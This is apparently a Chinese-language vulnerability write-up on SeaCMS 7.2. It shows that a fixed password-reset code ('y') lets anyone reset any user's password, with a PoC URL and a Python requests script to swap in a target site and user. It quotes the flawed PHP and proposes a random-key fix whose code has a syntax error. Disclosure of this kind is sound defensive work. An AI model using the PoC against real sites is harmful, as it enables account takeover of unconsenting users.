code:
https://www.seacms.net
Version:7.2
写完Seacms7.2-任意文件删除&Getshell后台篇之后就开始了漫长的考试,课程设计时间。一直没时间把前台篇也就是本文写完,今天彻底放假了,故此完善本文。
先附上一个自己写的黑盒测试辅助工具:MySQLMonitor
主要用户辅助黑/白盒测试SQL注入一类的漏洞。
很适合代码基础相对较弱的师傅们使用。
经过一系列的前台测试后实在找不到有用的漏洞,笔者转向取寻找用户之间的漏洞。
注册两个用户:
账号 | 密码 |
---|---|
User_A | 12345678 |
User_B | 87654321 |
登录账号User_A
进行测试。
这里笔者本来只是想通过审查元素修改显示为明文 这样演示效果好一点 缺意外发现此处将用户密码的hash直接写出来了?如果此处附近存在XSS有或者同事朋友在你登录了账号的时候来使用你电脑 不是可以直接丢到cmd5等平台解密出来了?总之这种写法很不安全!
此处重点测试。
比对发现两个用户的邮箱可以相同 可惜并不能越权修改 暂时无法利用
此处为了方便本地调试将member.php文件的第164行修改为
// ShowMsg('抱歉!激活邮件发送失败,请联系客服解决此错误。','login.php',0,100000);
var_dump($smtprtitle);
var_dump($smtprbody);
(将原本的发送失败的提示注释掉 修改为重置密码的邮件内容)
得到了格式如:
http://127.0.0.1/member.php?mod=repsw3&repswcode=54de2fd1aa4e96c4e1a3ce0b5153d170&repswname=User_A
直接修改参数中的repswname提示授权码过期 看来这个repswcode生成的算法应该用到了repswname这个值。
正常重置后:
如图 惊讶的发现正常重置后开发把repswcode的值又设成y
那么问题来了 重置密码时将repswcode直接修改为y能否重置密码了?
比如:
http://127.0.0.1/member.php?mod=repsw3&repswcode=y&repswname=User_B
Poc即为:
http://127.0.0.1/member.php?mod=repsw3&repswcode=y&repswname=targetUser
Python Poc:
import requests
session = requests.Session()
paramsGet = {"mod":"repsw4"}
paramsPost = {"cckb":"\x63d0\x4ea4","repswname":"targetUser","repswnew2":"12341234","repswcode":"y","repswnew1":"12341234"}
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0","Referer":"http://127.0.0.1/member.php?mod=repsw3&repswcode=y&repswname=User_B","Connection":"close","Accept-Language":"en","Accept-Encoding":"gzip, deflate","Content-Type":"application/x-www-form-urlencoded"}
cookies = {"PHPSESSID":"85a2970b95cf09d5472b13c211f2afe3"}
response = session.post("http://127.0.0.1/member.php", data=paramsPost, params=paramsGet, headers=headers, cookies=cookies)
print("Status code: %i" % response.status_code)
print("Response body: %s" % response.content)
将Poc种的地址替换为目标站点 targetUser替换为目标用户再运行即可。
查看数据库发现所有用户的repswcode值默认都为y
那么问题肯定是先出在注册程序上了 定位到根目录下reg.php
的第50行到第67行:
$row1=$dsql->GetOne("select username from sea_member where username='$username'");
if($row1['username']==$username)
{
ShowMsg('用户已存在','-1');
exit();
}
$pwd = substr(md5($m_pwd),5,20);
$ip = GetIP();
$randtime=uniqid();
$acode=md5($cfg_dbpwd.$cfg_dbname.$cfg_dbuser.$randtime); //构造唯一码
$email = RemoveXSS(stripslashes($email));
$email = addslashes(cn_substr($email,200));
$regpoints=intval($cfg_regpoints);
if($regpoints=="" OR empty($regpoints)){$regpoints=0;}
if($username) {
$dsql->ExecuteNoneQuery("INSERT INTO `sea_member`(id,username,password,email,regtime,regip,state,gid,points,logincount,stime,vipendtime,acode,repswcode,msgstate)
VALUES ('','$username','$pwd','$email','$dtime','$ip','1','2','$regpoints','1','1533686888','$dtime','$acode','y','y')");
注意看最后两行会发现注册时写入的repswcode得值时固定的 也就是前面提到的y
而且member.php
的第249-272行:
if($mod=='repsw4'){
$repswname=$_POST['repswname'];
$repswcode=$_POST['repswcode'];
$repswnew1=$_POST['repswnew1'];
$repswnew2=$_POST['repswnew2'];
if($repswnew1 != $repswnew2){showMsg("两次输入密码不一致!","-1",0,3000);exit();}
if(empty($repswname) OR $repswname==""){showMsg("授权码错误或已过期!","index.php",0,100000);exit();}
if(empty($repswcode) OR $repswcode==""){showMsg("授权码错误或已过期!","index.php",0,100000);exit();}
$row=$dsql->GetOne("select * from sea_member where username='$repswname'");
$repswcode2=$row['repswcode'];
if($repswcode != $repswcode2){showMsg("授权码错误或已过期!","index.php",0,100000);exit();}
$pwd = substr(md5($repswnew1),5,20);
$dsql->ExecuteNoneQuery("update `sea_member` set password = '$pwd',repswcode = 'y' where username='$repswname'");
ShowMsg('密码重置成功,请使用新密码登陆!','login.php');
exit();
}
可以看到重置密码成功后repswcode的值又给设为y
了 因此造成了漏洞
function randomkeys($length)
{
$pattern = '1234567890abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLOMNOPQRSTUVWXYZ;
for($i=0;$i<$length;$i++)
{
$key .= $pattern{mt_rand(0,35)};
}
return $key;
}
$repswcode = randomkeys(10);
厂家或用户可自行将上面的函数添加到reg.php
和member.php
中并将分析中两处写入的y
替换为$repswcode
10位的随机字符就很难爆破了。